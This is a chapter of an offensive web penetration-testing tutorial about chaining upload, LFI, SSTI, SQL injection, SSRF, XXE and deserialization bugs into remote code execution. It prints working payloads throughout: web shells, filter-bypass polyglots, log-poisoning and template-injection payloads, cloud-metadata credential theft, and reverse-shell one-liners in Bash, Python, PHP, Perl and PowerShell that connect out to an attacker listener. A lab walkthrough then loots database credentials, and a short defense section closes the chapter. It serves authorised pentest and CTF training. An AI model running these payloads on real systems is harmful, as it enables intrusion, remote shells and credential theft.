From Web Bug to Shell: Chaining Web Vulns in a Pentest

This is Chapter 4 of the Web Application Pentest notebook. Chapter 1 gave you the method, Chapter 2 mapped the attack surface, and Chapter 3 attacked the authentication, session and access-control boundary. By now you can find bugs. This chapter is about what separates a finding from an incident: taking those bugs and chaining them into remote code execution — an interactive shell running on the target server, under the web application’s operating-system account.

A report that says “the upload form accepts .php files” is a medium. A report that says “the upload form accepts .php files, so I uploaded a web shell, executed id, read the database credentials out of config.php, used them to reach the internal Redis instance over SSRF, and from there I had code execution on three more hosts” is a critical — and it is the same underlying bug. The difference is chaining: composing primitives until you cross from “the app misbehaves” to “I control the machine.”

Everything in this chapter assumes explicit, written, in-scope authorisation. Getting a shell on a system you do not own or have permission to test is a crime in essentially every jurisdiction. The techniques here are for authorised penetration tests, bug-bounty programs whose scope permits proof-of-concept RCE, and your own lab machines. Where a technique is destructive or noisy, that is called out so you can stay inside scope and inside the rules of engagement.

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Part 1: The Chaining Mindset — Why Single Bugs Rarely Matter

A vulnerability is a broken assumption. An exploit chain is a sequence of broken assumptions where the output of one becomes the input to the next, and the combined effect is far greater than the sum of the parts. Real-world compromise is almost always a chain, because modern applications rarely hand you a single bug that goes straight from anonymous internet to root. Instead you get a foothold bug, then a pivot bug, then an escalation bug.

Think in terms of primitives — the fundamental capability a bug grants you — rather than in terms of the vulnerability’s name:

Primitive	What it actually gives you	Typical source bug
Arbitrary file read	Read any file the app user can read	LFI, path traversal, XXE, SSRF file://
Arbitrary file write	Place attacker content at a chosen path	Upload, SQLi INTO OUTFILE, zip-slip
Arbitrary request	Make the server send HTTP/other requests	SSRF, XXE, open redirect + fetch
Code / command execution	Run attacker-controlled code	Upload→web shell, SSTI, deserialization, LFI→RCE
Credential disclosure	Obtain secrets / tokens	File read of config, metadata SSRF, error leaks

Once you frame bugs as primitives, chaining becomes a graph-search problem: you have a starting primitive and you want to reach code execution. You look for a bug that upgrades what you have into what you need. Arbitrary file read finds you credentials; credentials get you into an admin panel; the admin panel has an upload that yields write; write of a .php file yields execution.

flowchart LR
    A[Recon / mapping] --> B[Low-value bug]
    B --> C{Primitive?}
    C -->|File read| D[Leak config / secrets]
    C -->|File write| E[Drop web shell]
    C -->|SSRF| F[Reach internal service]
    C -->|Template/deser| G[Direct RCE]
    D --> H[Reuse creds]
    F --> H
    H --> E
    E --> I[Interactive shell]
    G --> I
    I --> J[Post-exploitation / pivot]

Bug-bounty relevance: triagers pay for demonstrated impact. A blind SSRF is often a low/medium until you chain it to cloud metadata and pull IAM credentials — then the same report becomes a critical worth 10–50x more. The chain is the payout. Many disclosed HackerOne reports read as “bug A alone = informative, bug A

• bug B = $$$.”

CTF relevance: almost every web/pwn box on HackTheBox and the harder TryHackMe rooms is a two- or three-step chain (foothold web bug → user shell → privesc). Training the “what primitive does this give me, and what does it upgrade into” reflex is exactly what those boxes reward.

The rules of engagement never disappear

Before you fire a single RCE payload, know what your rules of engagement (ROE) allow. Proof-of-concept RCE on a production system can crash services, corrupt data, or trip incident response. On a bug-bounty program, “achieving RCE” may be explicitly out of scope even when the underlying bug is in scope — you may be required to stop at demonstrating file write, not run a shell. When in doubt, the safe proof is the minimal one: id, hostname, and a unique marker file, never rm, never lateral movement, never reading real customer data.

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Part 2: The Shell as the Goal — What “Getting a Shell” Really Means

“Getting a shell” means obtaining an interactive (or semi-interactive) command interpreter that runs on the target and executes commands as some OS user — usually the account the web server runs as (www-data, apache, nginx, iis apppool\<site>, or a service account). It is the moment you stop speaking HTTP to an application and start speaking shell to an operating system.

There are three broad flavours, and knowing which one you have shapes everything you do next:

Shell type	How it works	Pros	Cons
Web shell	A script (e.g. cmd.php) you drop on the server; you send commands via HTTP params	Survives across requests, easy to reach through a proxy/WAF, no outbound needed	Stateless, no TTY, one command per request, easy to log
Reverse shell	Target connects out to your listener	Works through inbound firewalls/NAT on the target; interactive	Needs outbound egress allowed; your listener must be reachable
Bind shell	Target opens a listening port; you connect in	Simple	Almost always blocked by inbound firewalls; rare in practice

The usual progression is: land a web shell for reliability, use it to fire a reverse shell for interactivity, then stabilise that reverse shell into a full TTY (covered in Part 11). A reverse shell is preferred for real work because inbound connections to the target are typically filtered while outbound connections often are not.

sequenceDiagram
    participant A as Attacker (listener)
    participant T as Target web server
    Note over T: Web shell already dropped
    A->>T: GET /uploads/cmd.php?c=bash -c 'sh -i >& /dev/tcp/ATK/443 0>&1'
    T->>T: PHP executes command
    T->>A: TCP connect out to ATK:443
    A-->>T: Interactive shell established
    Note over A,T: Attacker now types commands, target executes as www-data

The /dev/tcp trick, explained from scratch

That reverse-shell one-liner uses a Bash feature that trips up beginners: /dev/tcp/HOST/PORT is not a real file. It is a special pathname Bash interprets as “open a TCP socket to HOST:PORT.” So:

bash -c 'sh -i >& /dev/tcp/10.10.14.7/443 0>&1'

• sh -i starts an interactive shell.
• >& /dev/tcp/10.10.14.7/443 redirects both stdout and stderr into a TCP socket connected to your listener at 10.10.14.7:443.
• 0>&1 redirects stdin (fd 0) to the same socket, so what you type on your side is fed to the shell.

On your machine you catch it with a listener:

# Netcat listener on port 443 (needs root to bind <1024)
sudo nc -lvnp 443

-l listen, -v verbose, -n no DNS resolution, -p 443 port. When the target runs the one-liner, nc prints the connection and you get a prompt. We build the full toolkit — including why nc alone is a bad TTY — in Part 9.

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Part 3: File Upload to Web Shell — The Most Direct Road

An upload feature that lets you write a server-executable file into a web-accessible directory is the shortest path from bug to shell. The vulnerability class is unrestricted / improperly validated file upload (OWASP: “Unrestricted File Upload”). The goal is to place a script the server will execute when you request it, not merely store.

3.1 The simplest case

If the app saves your file under the webroot with its original name and the server is configured to execute .php, you are done:

<?php system($_GET['cmd']); ?>

Save as shell.php, upload, then:

curl 'https://target/uploads/shell.php?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Real applications rarely make it this easy. They apply one or more filters, and your job is to find which filter is in play and bypass it. Enumerate the control first — upload a benign file, watch the response, note the stored path, filename transformation and any error messages — before trying to weaponise.

3.2 The filter taxonomy and how to defeat each

flowchart TD
    U[Upload attempt] --> E{Extension check?}
    E -->|Blacklist| B1[Use alt exec ext / case / trailing bytes]
    E -->|Whitelist| B2[Double ext / null byte / polyglot]
    U --> C{Content-Type check?}
    C -->|Yes| B3[Spoof MIME to image/png]
    U --> M{Magic-byte check?}
    M -->|Yes| B4[Prepend GIF89a / valid header]
    U --> P{Stored outside webroot?}
    P -->|Yes| B5[Chain path traversal in filename]
    P -->|Config writable| B6[Upload .htaccess / web.config]

Filter	Mechanism	Bypass techniques
Extension blacklist	Blocks .php, .phtml	Alternate exec extensions: .php3 .php4 .php5 .php7 .pht .phtml .phar; case PhP; trailing dot/space shell.php.; on some stacks shell.php%00.jpg
Extension whitelist	Only .jpg/.png allowed	Double extension shell.jpg.php (Apache mis-config), null byte (old PHP), content-sniffing polyglots
Content-Type	Checks Content-Type header	Set Content-Type: image/png in the multipart part while keeping .php name/body
Magic bytes	Reads first bytes for image signature	Prepend GIF89a; or a real PNG header, then your PHP after it
Image re-encoding	Rebuilds the image (kills appended code)	Embed payload in EXIF/tEXt/iCCP chunk that survives, or pivot to a different bug
Stored outside webroot	Files not directly reachable	Chain with LFI to include the uploaded file; or path-traversal filename to escape into webroot

3.3 Content-Type and magic-byte bypass, concretely

Suppose the server checks both the Content-Type header and the first bytes. Craft a polyglot: a file that is a valid GIF and valid PHP.

# Build the polyglot: GIF magic header + PHP payload
printf 'GIF89a;\n<?php system($_GET["c"]); ?>\n' > shell.gif.php

Then send it with a spoofed MIME type. Here is the raw multipart body Burp Repeater would send:

POST /upload HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----x

------x
Content-Disposition: form-data; name="avatar"; filename="shell.gif.php"
Content-Type: image/gif

GIF89a;
<?php system($_GET["c"]); ?>
------x--

GIF89a; satisfies the magic-byte check, Content-Type: image/gif satisfies the MIME check, and .php (or the double extension shell.gif.php on a mis-configured Apache) makes it execute. Request it:

curl 'https://target/uploads/shell.gif.php?c=id'

3.4 When you can upload config: .htaccess and web.config

If the whitelist allows arbitrary extensions but only images execute, sometimes you can change the server config by uploading it. On Apache with AllowOverride enabled, drop a .htaccess that maps a new extension to the PHP handler:

# .htaccess — make .lol files run as PHP
AddType application/x-httpd-php .lol

Upload .htaccess, then upload shell.lol containing PHP, then browse it. On IIS, the analogous file is web.config, which can smuggle classic-ASP or add handler mappings. This is a favourite on PortSwigger’s “Web shell upload via .htaccess” lab and appears in real engagements where an image CDN directory is writable.

Red team usage: the web shell should be quiet — a single obscure parameter, a name that blends in (thumb_cache.php), and ideally deleted or overwritten after you pivot to a reverse shell, so it does not sit on disk as evidence and get your access burned by the next scan.

Blue team usage: file uploads into a directory that is both writable and executable is the root misconfiguration. Detection lives in Part 13, but the one sentence version: web servers should never execute anything in an upload directory, full stop.

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Part 4: Local & Remote File Inclusion to RCE

File inclusion happens when the application uses attacker-influenced input to choose which file to load and run. In PHP it is the include, require, include_once and require_once family; equivalents exist in other stacks.

// Vulnerable: page name comes straight from the user
$page = $_GET['page'];
include($page . '.php');

Local File Inclusion (LFI) includes a file already on the server. Remote File Inclusion (RFI) includes a file from a URL you control (only when allow_url_include=On, rare today). LFI is far more common, and the interesting part is that LFI is not just file read — with the right trick it becomes code execution.

4.1 From traversal to read

First confirm the primitive with a classic traversal read:

curl 'https://target/index.php?page=../../../../etc/passwd%00'

The %00 null byte (old PHP < 5.3.4) truncates the appended .php. Modern targets ignore it; instead rely on the include not appending a suffix, or use a wrapper. If you can read /etc/passwd, you have arbitrary file read — a strong primitive on its own (read source, config, SSH keys, tokens).

4.2 PHP wrappers — read source and execute

PHP exposes stream wrappers, pseudo-protocols usable anywhere a filename is expected. They turn LFI into powerful primitives:

Wrapper	Effect	Example
php://filter	Transform a file while reading — base64-encode source so PHP doesn’t execute it	php://filter/convert.base64-encode/resource=config
data://	Supply inline content as a “file” — direct code exec if allow_url_include=On	data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==
expect://	Run a command (needs the expect extension)	expect://id
php://input	Reads the raw POST body as the included file	POST <?php system('id');?>
phar://	Deserialization via Phar metadata	phar://uploaded.jpg/x
zip://	Include a file inside an uploaded zip	zip://up.zip%23shell.php

Read the app’s own source to find more bugs and secrets:

curl 'https://target/index.php?page=php://filter/convert.base64-encode/resource=config'
# returns base64; decode it:
echo 'PD9waHAgJGRiX3Bhc3M9...' | base64 -d

4.3 LFI to RCE: log poisoning

If you can include a file whose contents you can control, you get execution. Server logs are perfect: the server writes your input into them, and you include the log. This is log poisoning.

1. Poison the User-Agent (or any logged field) with PHP:

curl -A '<?php system($_GET["c"]); ?>' https://target/

2. Include the access log through the LFI, passing your command:

curl 'https://target/index.php?page=/var/log/apache2/access.log&c=id'
# uid=33(www-data) ...

The server logged your PHP-laden User-Agent; when PHP includes the log file, it parses and executes the embedded code. Other poisonable sinks: /var/log/auth.log (inject via SSH username), mail files (/var/mail/www-data), and PHP session files (/var/lib/php/sessions/sess_<PHPSESSID> — set a session value containing PHP, then include the session file).

sequenceDiagram
    participant A as Attacker
    participant W as Web server
    participant L as Access log
    A->>W: GET / (User-Agent: <?php system($_GET[c]) ?>)
    W->>L: Append request line incl. UA
    A->>W: GET /index.php?page=/var/log/.../access.log&c=id
    W->>L: include() reads + executes log
    L-->>A: Command output (id)

4.4 RFI when it exists

If allow_url_include=On, RFI is trivial — host a payload and include its URL:

# On attacker box
echo '<?php system($_GET["c"]); ?>' > p.txt
python3 -m http.server 80
# Trigger
curl 'https://target/index.php?page=http://10.10.14.7/p.txt&c=id'

CTF relevance: LFI→RCE via log poisoning and php://filter source-read is one of the most-tested web primitives on TryHackMe and PortSwigger; the “file path traversal” and “remote code execution via web shell upload” labs pair directly with this section.

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Part 5: Server-Side Template Injection (SSTI) to RCE

Template engines (Jinja2, Twig, Freemarker, Velocity, Handlebars, ERB) render dynamic pages by evaluating expressions embedded in templates. SSTI occurs when user input is concatenated into the template source rather than passed as data, so the engine evaluates attacker input as template code — which, in most engines, reaches full RCE.

5.1 Detection

The universal first probe is a math expression in template syntax. If {{7*7}} comes back as 49, the engine evaluated it — you have SSTI, not XSS.

Engine	Detection returns 49 for	Language
Jinja2 / Twig	{{7*7}}	Python / PHP
Freemarker	${7*7}	Java
Velocity	#set($x=7*7)$x	Java
ERB (Ruby)	<%= 7*7 %>	Ruby
Handlebars	{{#with 7}}...{{/with}}	JS

Distinguish engines with a decision probe: ${7*7} renders 49 in Freemarker but literally in Jinja2; {{7*'7'}} gives 7777777 in Jinja2 (Python) but an error in Twig (PHP). PortSwigger’s SSTI labs and the tool tplmap automate this fingerprinting.

flowchart TD
    A["Inject {{7*7}}"] --> B{Output = 49?}
    B -->|No| X[Not SSTI - maybe XSS]
    B -->|Yes| C["Inject ${7*7}"]
    C -->|49| F[Freemarker / Java]
    C -->|literal| D["{{7*'7'}}"]
    D -->|7777777| J[Jinja2 / Python]
    D -->|error| T[Twig / PHP]

5.2 Exploitation — Jinja2 (Python)

Jinja2 SSTI escalates to RCE by climbing Python’s object model to reach os.popen or subprocess:

{{ ''.__class__.__mro__[1].__subclasses__() }}

That lists every subclass of object; find one that imports os or runs commands, e.g. subprocess.Popen, then call it. A compact, widely-working payload:

{{ cycler.__init__.__globals__.os.popen('id').read() }}

or via the config object trick:

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

5.3 Exploitation — Twig, Freemarker

{{ ['id'] | filter('system') }}
{{ ['id'] | map('system') | join }}

Freemarker (Java):

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

Bug-bounty relevance: SSTI in an email-templating or PDF-generation feature is a recurring critical — user-set “name” or “company” fields flow into a server-side template. The classic pattern is {{7*7}} in a profile field showing up rendered on an invoice.

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Part 6: SQL Injection Beyond Data — File Write and RCE

Chapter 3 and the SQLi guide treat injection as a data-exfiltration bug. Chained for shell, SQLi becomes a file-write and sometimes a command-execution primitive.

6.1 MySQL INTO OUTFILE — write a web shell

If the DB user has FILE privilege and secure_file_priv is empty (or points at the webroot), a UNION-based injection can write a PHP shell straight into a web-served directory:

' UNION SELECT "<?php system($_GET['c']); ?>",2,3 INTO OUTFILE '/var/www/html/s.php' -- -

Then:

curl 'https://target/s.php?c=id'

INTO OUTFILE will not overwrite an existing file and needs a path the DB process can write. Enumerate constraints first:

' UNION SELECT @@secure_file_priv, @@version, 3 -- -

DB	File write	File read	Command exec
MySQL/MariaDB	INTO OUTFILE / INTO DUMPFILE (+FILE priv)	LOAD_FILE()	UDF sys_exec (if lib writable)
PostgreSQL	COPY ... TO / large objects	COPY ... FROM	COPY ... TO PROGRAM (superuser), pg_read_server_files
MSSQL	OPENROWSET/bulk	OPENROWSET	xp_cmdshell (if enabled)
Oracle	UTL_FILE	UTL_FILE	Java stored procs, DBMS_SCHEDULER

6.2 MSSQL xp_cmdshell — direct command execution

On Microsoft SQL Server, if you are sa or have rights, enable and call xp_cmdshell:

'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
   EXEC xp_cmdshell 'whoami'; -- -

6.3 PostgreSQL COPY ... TO PROGRAM

'; COPY (SELECT '') TO PROGRAM 'id'; -- -

Automate the whole flow with sqlmap once you have confirmed injection:

sqlmap -r req.txt --os-shell        # interactive OS shell if privileges allow
sqlmap -r req.txt --file-write shell.php --file-dest /var/www/html/s.php

-r req.txt feeds a saved raw request (from Burp), --os-shell attempts to drop a stager and give you a command prompt, --file-write/--file-dest writes a local file to a remote path. sqlmap is taught from scratch in the SQLi guide; here it is the automation layer over the manual primitives above.

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Part 7: SSRF as a Pivot — Internal Services and Cloud Metadata

Server-Side Request Forgery (SSRF) makes the server issue requests you control. On its own it is a request primitive; chained, it is one of the most valuable pivots in web security because the server sits inside a trusted network you cannot otherwise reach.

7.1 The three payoffs

flowchart LR
    A[SSRF in URL param] --> B[Internal port scan]
    A --> C[Cloud metadata]
    A --> D[Internal-only apps]
    C --> E[IAM creds / tokens]
    D --> F[Redis/Elastic/admin no-auth]
    B --> G[Map internal net]
    E --> H[Cloud takeover]
    F --> I[RCE via internal service]

7.2 Cloud metadata — instant credential theft

Cloud instances expose a link-local metadata endpoint at 169.254.169.254. If the server has an IAM role, SSRF to it hands you temporary credentials:

# AWS IMDSv1 (no token required)
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
# -> role name, then:
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE'
# -> AccessKeyId / SecretAccessKey / Token

Cloud	Metadata base	Note
AWS	http://169.254.169.254/latest/meta-data/	IMDSv2 needs a PUT token header — chain if the SSRF allows method/header control
GCP	http://metadata.google.internal/computeMetadata/v1/	Requires header Metadata-Flavor: Google
Azure	http://169.254.169.254/metadata/instance?api-version=2021-02-01	Requires header Metadata: true
DigitalOcean	http://169.254.169.254/metadata/v1/

Export the stolen keys and confirm:

export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...
aws sts get-caller-identity

7.3 Internal services to RCE

SSRF that reaches an unauthenticated internal Redis, for example, becomes RCE: write a cron job or a webshell via Redis commands smuggled through gopher://:

gopher://127.0.0.1:6379/_%0d%0aSET%20x%20%22%3C%3Fphp...%3F%3E%22%0d%0aCONFIG%20SET%20dir%20/var/www/html%0d%0aCONFIG%20SET%20dbfilename%20sh.php%0d%0aSAVE

The gopher:// wrapper lets you send arbitrary bytes to a TCP service, so a single SSRF becomes an arbitrary-protocol client. This is the canonical “SSRF → Redis → RCE” chain seen in numerous bug-bounty writeups.

7.4 Bypassing SSRF filters

Filter	Bypass
Blocklist 127.0.0.1/localhost	127.1, 0.0.0.0, [::1], 2130706433 (decimal), 0x7f000001 (hex)
Allowlist by hostname	DNS rebinding, attacker.com resolving to 169.254.169.254; @ tricks http://expected@169.254.169.254/
Scheme filter	file://, gopher://, dict://, ftp://
Regex on http://	Add a fragment/userinfo, uppercase scheme, redirect via your server (302 to internal)

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Part 8: XXE and Deserialization — Two More Roads to Code Execution

8.1 XML External Entity (XXE)

If an endpoint parses XML with external entities enabled, you get file read, SSRF, and sometimes RCE. Define an entity that references a local file:

<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY x SYSTEM "file:///etc/passwd"> ]>
<root><name>&x;</name></root>

Blind/out-of-band XXE exfiltrates via an external DTD you host:

<!DOCTYPE r [
  <!ENTITY % ext SYSTEM "http://10.10.14.7/evil.dtd"> %ext; ]>

evil.dtd

<!ENTITY % f SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://10.10.14.7/?d=%f;'>">
%all;

XXE → RCE is possible on PHP with the expect:// wrapper (<!ENTITY x SYSTEM "expect://id">) when the extension is loaded, and via SSRF to an internal service as in Part 7.

8.2 Insecure deserialization

When an app deserializes attacker-controlled data into live objects, crafted input can trigger code execution through gadget chains — existing classes whose side effects, when strung together during deserialization, run commands.

Stack	Marker	Tooling
Java	rO0AB (base64), AC ED 00 05 (raw)	ysoserial (CommonsCollections, URLDNS)
PHP	O: / a: serialized strings; __wakeup/__destruct magic	PHPGGC
.NET	TypeObject, BinaryFormatter	ysoserial.net
Python	pickle \x80 opcode	manual __reduce__ payloads

Example — generate a Java gadget and send it as the vulnerable cookie/parameter:

java -jar ysoserial.jar CommonsCollections5 'bash -c {echo,BASE64REV}|{base64,-d}|bash' | base64 -w0

Python pickle RCE (only ever run on data you generated, in your lab):

import pickle, os, base64
class E:
    def __reduce__(self): return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(E())).decode())

Detecting the primitive: look for base64 blobs starting rO0, TypeObject, gAS (Python), or O:/a: in cookies, hidden fields, viewstate, and API bodies — these scream “serialized object.”

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Part 9: Web Shells and Reverse Shells — The Toolkit From Scratch

Before the lab, build the toolkit properly. Each tool is introduced from zero.

9.1 Netcat (nc) — the network Swiss army knife

Netcat reads and writes raw TCP/UDP. It is your default listener for catching reverse shells.

sudo nc -lvnp 443     # listen: -l listen, -v verbose, -n no-DNS, -p port

Netcat has no line editing, no job control, no TTY — Ctrl-C kills your whole listener. That is why we upgrade the shell (9.4). If the target has a feature-rich nc (rare), a bind/reverse can be one command; assume it does not and use language one-liners.

9.2 Reverse-shell one-liners (by what the target has)

# Bash
bash -c 'sh -i >& /dev/tcp/10.10.14.7/443 0>&1'
# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.7",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];subprocess.call(["/bin/sh","-i"])'
# PHP
php -r '$s=fsockopen("10.10.14.7",443);exec("/bin/sh -i <&3 >&3 2>&3");'
# Perl
perl -e 'use Socket;$i="10.10.14.7";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
# Powershell (Windows target)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.7',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS> ';$sr=([Text.Encoding]::ASCII).GetBytes($sb2);$s.Write($sr,0,$sr.Length);$s.Flush()}"

When you cannot recall one, use a generator: the “Reverse Shell Generator” (revshells.com) and PayloadsAllTheThings list these. On Kali, msfvenom builds staged payloads:

msfvenom -p php/reverse_php LHOST=10.10.14.7 LPORT=443 -f raw -o rs.php
# -p payload, LHOST/LPORT your listener, -f format, -o output

9.3 Minimal web shells

<?php system($_GET['c']); ?>                 // PHP, ?c=id
<?php echo shell_exec($_REQUEST['c']); ?>    // survives GET or POST

<%= Runtime.getRuntime().exec(request.getParameter("c")) %>

<% Response.Write(new System.Diagnostics.Process(){StartInfo={FileName="cmd",Arguments="/c "+Request["c"],RedirectStandardOutput=true,UseShellExecute=false}}); %>

For real engagements, feature-rich web shells (p0wny-shell, b374k, or a Meterpreter web-delivery) give upload/download and pseudo-interactivity — but a one-liner is quieter and easier to clean up.

9.4 Stabilising a shell into a full TTY

A raw reverse shell is fragile. Upgrade it:

# On the target shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Then background with Ctrl-Z, and on YOUR box:
stty raw -echo; fg
# Press Enter twice. You now have arrow keys, tab-complete, Ctrl-C safety.

If Python is absent, script /dev/null -c bash achieves the same. This upgrade is the difference between a shell that dies the moment you run su and one you can actually work in.

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Part 10: The Full Worked Lab — Recon to Shell to Loot

This lab chains four primitives against a deliberately vulnerable app in an isolated VM (build it from OWASP Juice Shop / DVWA / a HackTheBox “easy” web box — never a system you do not own). Attacker IP 10.10.14.7, target 10.10.10.55.

Step 0 — Recon confirms the surface

nmap -sVC -p- --min-rate 2000 10.10.10.55 -oN nmap.txt
# 22/tcp  open  ssh     OpenSSH 8.2p1
# 80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))

ffuf -u http://10.10.10.55/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302 -o ffuf.txt
# /admin        [Status: 301]
# /uploads      [Status: 301]
# /gallery.php  [Status: 200]

ffuf (Fuzz Faster U Fool) is a content-discovery fuzzer: -u URL with the FUZZ keyword marking the injection point, -w wordlist, -mc match these HTTP codes, -o output file. It reveals /admin and a writable-looking /uploads.

Step 1 — LFI leaks admin credentials (file read primitive)

gallery.php?img= looks like an include. Confirm and read source with a filter:

curl 'http://10.10.10.55/gallery.php?img=php://filter/convert.base64-encode/resource=admin/config'
# base64 blob ->
echo 'PD9waHAgJHVzZXI9ImFkbWluIjskcGFzcz0iUyNjcmV0UGFzczkiOw==' | base64 -d
# <?php $user="admin";$pass="S#cretPass9";

We now have admin creds — the file-read primitive upgraded into a credential.

Step 2 — Log in, reach the gated upload (auth boundary crossed)

curl -c cj.txt -d 'user=admin&pass=S#cretPass9' http://10.10.10.55/admin/login.php
# Set-Cookie: PHPSESSID=...   -> we are admin, /admin/upload.php is now reachable

Step 3 — Bypass the upload filter (write primitive)

The upload accepts only images and checks magic bytes + Content-Type. Build a polyglot and abuse the double extension:

printf 'GIF89a;\n<?php system($_GET["c"]); ?>\n' > thumb.gif.php

POST /admin/upload.php HTTP/1.1
Host: 10.10.10.55
Cookie: PHPSESSID=...
Content-Type: multipart/form-data; boundary=----x

------x
Content-Disposition: form-data; name="file"; filename="thumb.gif.php"
Content-Type: image/gif

GIF89a;
<?php system($_GET["c"]); ?>
------x--

Response: Uploaded to /uploads/thumb.gif.php. Confirm execution:

curl 'http://10.10.10.55/uploads/thumb.gif.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

We now have code execution — the write primitive upgraded into RCE.

Step 4 — Web shell to reverse shell (interactivity)

Start a listener, then trigger a reverse shell through the web shell (URL-encode the command):

sudo nc -lvnp 443
# In another terminal:
curl -G 'http://10.10.10.55/uploads/thumb.gif.php' \
  --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"

Listener output:

Connection received on 10.10.10.55 34122
bash: cannot set terminal process group: Inappropriate ioctl for device
www-data@web01:/var/www/html/uploads$

Stabilise it:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z
stty raw -echo; fg
export TERM=xterm

Step 5 — Loot and pivot

www-data@web01:/var/www/html$ cat config.php
# $db_user="webapp"; $db_pass="Db!Pass2024"; $db_host="10.10.10.60";
www-data@web01:/var/www/html$ mysql -h 10.10.10.60 -u webapp -p'Db!Pass2024' -e 'show databases;'

The DB host 10.10.10.60 is a second internal machine — the web shell became a pivot point into the internal network. From here you would enumerate for privesc (next chapters’ territory) and document the full chain.

flowchart LR
    R[Recon: /admin /uploads] --> L[LFI reads config]
    L --> C[Admin creds leaked]
    C --> A[Login as admin]
    A --> U[Upload filter bypass]
    U --> W[Web shell RCE]
    W --> S[Stabilised reverse shell]
    S --> P[Loot config + pivot to DB host]

What to write in the report: each arrow above is a separate finding with its own severity, but the chain is the headline critical. Show the exact requests, the id output, and a screenshot of the stabilised prompt — never real customer data.

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Part 11: Post-Exploitation From a Web Shell — Stabilise, Enumerate, Pivot

Landing a shell is the middle of the engagement, not the end. As the web-server user you are usually low-privileged; the value is in what you can now see and reach. Keep it in scope and non-destructive.

11.1 Situational awareness

id; hostname; uname -a          # who am I, where am I, what kernel
cat /etc/os-release             # distro + version (privesc research)
sudo -l 2>/dev/null             # can this user sudo anything without a password?
ps aux --sort=-%mem | head      # what services run here
ss -tlnp                        # local listeners = internal attack surface
env; cat /var/www/html/*config* # secrets in env and app config

11.2 Hunt for credentials and pivots

• App config files (config.php, .env, settings.py, web.config) — DB creds, API keys, cloud keys.
• ~/.ssh/, ~/.aws/credentials, ~/.git-credentials, mounted secrets.
• ss -tlnp and a quick internal sweep for services bound to 127.0.0.1 that were invisible from outside — these are exactly what SSRF (Part 7) would have hit, now reachable directly.

11.3 Cleanliness and scope discipline

• Do not run rm, kill processes, or modify data unless the ROE explicitly permits it.
• Remove the web shell (or note its exact path for the client to remove) once you have a reverse shell, so you do not leave an unauthenticated backdoor on a production host.
• Log every command and timestamp — the client’s blue team will match your activity against their alerts, and clean records protect you.

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Part 12: Real-World Chains and CVEs

These techniques are not academic; they are how major breaches happened.

Chain / CVE	Primitives chained	Impact
Capital One (2019)	SSRF → AWS IMDS → IAM creds → S3	100M+ records; textbook SSRF-to-cloud chain (Part 7)
Log4Shell (CVE-2021-44228)	Log injection → JNDI lookup → deserialization → RCE	Internet-wide RCE from a single logged string
ProxyShell (Exchange, 2021)	SSRF (CVE-2021-34473) → priv esc → arbitrary write → webshell	Unauth RCE on Exchange
Drupalgeddon2 (CVE-2018-7600)	Input → form-render → RCE	Mass web defacement/cryptomining
Confluence OGNL (CVE-2022-26134)	OGNL injection (SSTI-like) → RCE	Unauth RCE
Zip-slip	Upload + path traversal in archive entry	Arbitrary write → webshell
PHP phar:// deser	Upload “image” + phar wrapper	Deserialization RCE (Part 8)

The pattern repeats: a “low” primitive (log a string, fetch a URL, upload a file) becomes catastrophic once chained to a second weakness. Reading disclosed HackerOne/Bugcrowd reports through this lens — “what primitive, upgraded into what” — is the fastest way to internalise chaining.

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Part 13: Detection & Defense Angle

Every technique above leaves signal and has a concrete fix. This is the section your report’s remediation and the blue team’s detection both draw from.

13.1 Preventing the bugs

Vuln	Primary defense
File upload	Store uploads outside the webroot, serve via a handler; randomise filenames; whitelist by validated content type; never execute upload dirs (php_admin_flag engine off, no handler mapping); disable .htaccess overrides
LFI/RFI	Never pass user input to include; whitelist a fixed set of pages; allow_url_include=Off; disable dangerous wrappers
SSTI	Never concatenate user input into template source; pass as data/context; sandbox the engine; use logic-less templates
SQLi	Parameterised queries everywhere; least-privilege DB user with no FILE/xp_cmdshell; secure_file_priv set
SSRF	Default-deny egress; block link-local/RFC1918; enforce IMDSv2; validate + re-resolve host, allowlist destinations
XXE	Disable external entities/DTDs in the parser (disableDTD, FEATURE_SECURE_PROCESSING)
Deserialization	Don’t deserialize untrusted data; use signed/whitelisted formats; look-ahead deserialization filters

13.2 Detecting the exploitation

• Uploads: alert on any write of .php/.phtml/.jsp/.aspx into an upload path; FIM (file-integrity monitoring) on webroot + upload dirs; scan uploads with YARA for <?php, system(, eval(.
• Web shells: requests to newly-created files, one obscure parameter driving varied commands, high entropy in a “static” directory. Tools: LOKI, web-shell-detector, ModSecurity CRS.
• LFI/log poisoning: requests containing ../, php://, /var/log/, /etc/passwd; PHP include() of files under /var/log is never legitimate.
